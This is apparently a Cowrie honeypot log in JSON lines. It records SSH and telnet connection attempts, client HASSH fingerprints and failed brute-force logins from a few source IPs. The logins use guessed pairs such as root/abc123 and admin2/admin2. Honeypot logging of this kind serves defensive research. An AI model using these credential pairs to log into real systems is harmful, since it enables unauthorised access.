{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:50.651477Z","src_ip":"80.94.92.184","session":"dd835e778a39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:51.201478Z","src_ip":"192.109.200.237","session":"c13441774f8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:51.964899Z","src_ip":"80.94.92.184","session":"dd835e778a39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:53.102304Z","src_ip":"80.94.92.184","session":"dd835e778a39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51430,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f71d8360bf8","protocol":"ssh","message":"New connection: 192.109.200.237:51430 (159.203.135.109:22) [session: 1f71d8360bf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:53.230567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:53.328867Z","src_ip":"192.109.200.237","session":"1f71d8360bf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:53.331942Z","src_ip":"192.109.200.237","session":"1f71d8360bf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123","message":"login attempt [ftpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:53.681611Z","src_ip":"192.109.200.237","session":"1f71d8360bf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:54.773315Z","src_ip":"192.109.200.237","session":"1f71d8360bf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41076,"dst_ip":"10.17.0.5","dst_port":23,"session":"168b8350af1b","protocol":"telnet","message":"New connection: 50.6.8.71:41076 (10.17.0.5:23) [session: 168b8350af1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:55.977659Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51446,"dst_ip":"159.203.135.109","dst_port":22,"session":"456ee28e022b","protocol":"ssh","message":"New connection: 192.109.200.237:51446 (159.203.135.109:22) [session: 456ee28e022b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:56.871615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:56.875326Z","src_ip":"192.109.200.237","session":"456ee28e022b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:56.956605Z","src_ip":"192.109.200.237","session":"456ee28e022b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:57.201604Z","src_ip":"192.109.200.237","session":"456ee28e022b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41090,"dst_ip":"10.17.0.5","dst_port":23,"session":"f24ec82915fd","protocol":"telnet","message":"New connection: 50.6.8.71:41090 (10.17.0.5:23) [session: f24ec82915fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:57.492292Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:58.285527Z","src_ip":"192.109.200.237","session":"456ee28e022b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55040,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c681127b0b7","protocol":"ssh","message":"New connection: 192.109.200.237:55040 (159.203.135.109:22) [session: 9c681127b0b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:00.327307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:00.332470Z","src_ip":"192.109.200.237","session":"9c681127b0b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:00.415262Z","src_ip":"192.109.200.237","session":"9c681127b0b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:00.662163Z","src_ip":"192.109.200.237","session":"9c681127b0b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:01.753343Z","src_ip":"192.109.200.237","session":"9c681127b0b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41096,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e6089541f4a","protocol":"telnet","message":"New connection: 50.6.8.71:41096 (10.17.0.5:23) [session: 1e6089541f4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:01.782230Z"}
{"eventid":"cowrie.session.closed","duration":32.54542517662048,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:01.821805Z","src_ip":"50.6.8.71","session":"0d8f926269e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55078,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a4880e8dcbf","protocol":"ssh","message":"New connection: 192.109.200.237:55078 (159.203.135.109:22) [session: 8a4880e8dcbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:04.088347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:04.093607Z","src_ip":"192.109.200.237","session":"8a4880e8dcbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:04.176282Z","src_ip":"192.109.200.237","session":"8a4880e8dcbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"orca","password":"orca","message":"login attempt [orca/orca] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:04.422396Z","src_ip":"192.109.200.237","session":"8a4880e8dcbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:05.507895Z","src_ip":"192.109.200.237","session":"8a4880e8dcbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55126,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5441ed25904","protocol":"ssh","message":"New connection: 192.109.200.237:55126 (159.203.135.109:22) [session: a5441ed25904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:07.658540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:07.663432Z","src_ip":"192.109.200.237","session":"a5441ed25904","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:07.768066Z","src_ip":"192.109.200.237","session":"a5441ed25904","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gd","password":"gd","message":"login attempt [gd/gd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:08.012874Z","src_ip":"192.109.200.237","session":"a5441ed25904","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:09.096515Z","src_ip":"192.109.200.237","session":"a5441ed25904","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41104,"dst_ip":"10.17.0.5","dst_port":23,"session":"224e3c9233aa","protocol":"telnet","message":"New connection: 50.6.8.71:41104 (10.17.0.5:23) [session: 224e3c9233aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:10.102120Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44544,"dst_ip":"159.203.135.109","dst_port":22,"session":"d55b43998653","protocol":"ssh","message":"New connection: 192.109.200.237:44544 (159.203.135.109:22) [session: d55b43998653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:11.153168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:11.157742Z","src_ip":"192.109.200.237","session":"d55b43998653","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:11.240233Z","src_ip":"192.109.200.237","session":"d55b43998653","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"rocky","message":"login attempt [rocky/rocky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:11.487561Z","src_ip":"192.109.200.237","session":"d55b43998653","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:12.572786Z","src_ip":"192.109.200.237","session":"d55b43998653","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":40718,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae409c1a4b0c","protocol":"ssh","message":"New connection: 103.153.68.219:40718 (159.203.135.109:22) [session: ae409c1a4b0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:14.552092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:14.560423Z","src_ip":"103.153.68.219","session":"ae409c1a4b0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:14.808271Z","src_ip":"103.153.68.219","session":"ae409c1a4b0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44556,"dst_ip":"159.203.135.109","dst_port":22,"session":"27c7cdc5a6ef","protocol":"ssh","message":"New connection: 192.109.200.237:44556 (159.203.135.109:22) [session: 27c7cdc5a6ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:14.816324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:14.821171Z","src_ip":"192.109.200.237","session":"27c7cdc5a6ef","protocol":"ssh"}
